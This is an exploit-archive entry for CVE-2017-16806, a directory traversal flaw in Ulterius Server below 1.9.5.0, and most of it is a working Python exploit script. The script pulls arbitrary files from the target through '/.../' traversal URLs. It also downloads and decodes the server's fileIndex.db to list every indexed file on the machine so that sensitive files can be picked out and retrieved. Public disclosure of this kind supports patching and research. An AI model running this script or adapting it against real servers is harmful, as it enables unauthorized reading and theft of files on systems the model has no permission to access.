Ulterius Server < 1.9.5.0 Directory Traversal

2017.11.15
Credit: Rick Osgood
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22

# Exploit Title: Ulterius Server < 1.9.5.0 Directory Traversal Arbitrary File Access # Date: 11/13/2017 # Exploit Author: Rick Osgood # Vendor Homepage: https://ulterius.io/ # Software Link: https://github.com/Ulterius/server/tree/0e4f2113da287aac88a8b4c5f8364a03685d393d # Version: < 1.9.5.0 # Tested on: Windows Server 2012 R2 # CVE : CVE-2017-16806 # # You can download almost any file that resides on the same drive letter as Ulterius server. # Example: http://ulteriusURL:22006/.../.../.../.../.../.../.../.../.../windows/win.ini # # Unfortunately, you need to know the path to the file you want to download. # Fortunately, Ulterius indexes every file on the system, and it's usually stored in the same place: # http://ulteriusURL:2206/.../fileIndex.db # # This script will retrieve the fileIndex.db file for you, decompress it, and process the list to # make it human readable. Then you can use the same script to download any juicy files you find. # # Ulterius writes the following to the fileIndex.db file: # First four bytes are a timestamp so we can ignore this # The next four items repeat until the end of the file: # filename.length (4 bytes?) # filename # directory.length (4 bytes?) # directory import requests import sys import argparse import zlib import struct # This function grabs the filename or file path from the fileIndex def processChunk(i, data): length = struct.unpack('B', data[i])[0] length += struct.unpack('B', data[i+1])[0] length += struct.unpack('B', data[i+2])[0] length += struct.unpack('B', data[i+3])[0] i += 4 filename = data[i:i+length] i += length return i, filename # Main function def main(): # Parse arguments parser = argparse.ArgumentParser(description='Ulterius exploit by Rick osgood') parser.add_argument('url', type=str, nargs='+', help='URL of the Ulterius server including port') parser.add_argument('--retrieve', metavar='FILEPATH', type=str, nargs='+', help='Retrieve file from server (e.g. c:\windows\win.ini)') parser.add_argument('--index', help='Retrieve, decompress, and process fileIndex.db (List of all files indexed by Ulterius)', action='store_true') args = parser.parse_args() # We are going to retrieve a specified file if args.retrieve: fileName = str(args.retrieve[0]) # This works for the default Ulterius install directory. baseDir = "/.../.../.../.../.../.../.../.../.../" # Remove slashes from output file name outFile = fileName.replace('\\','_') # Remove drive letter and change slashes if ":\\" in fileName[:3]: fileName = fileName[3:] # Replace slashes fileName = fileName.replace('\\','/') # Replace slashes # Build URL url = str(args.url[0]) + baseDir + fileName print "Retrieving " + url # Download file r = requests.get(url=url, stream=True) # Retrieve file # Write file f = open(outFile, 'w') f.write(r.content) # We are going to download the fileIndex.db file if args.index: # Setup the URL url = args.url[0] + "/.../fileIndex.db" print "Downloading " + url # Download file r = requests.get(url=url, stream=True) # decompress the data data = zlib.decompress( r.content, -15 ) # Open output file for writing f = open('fileIndex.db', 'w') # Strip off header info (not sure what this is) data = data[8:] # Process file names and write to output file i = 0 while i < len(data): i, filename = processChunk(i, data) # Get file name i, directory = processChunk(i, data) # Get file path i += 8 # Skip the FFFFFFFFFFFFFFFF f.write(directory + '\\' + filename + '\n') # Write to output file if __name__ == "__main__": main()


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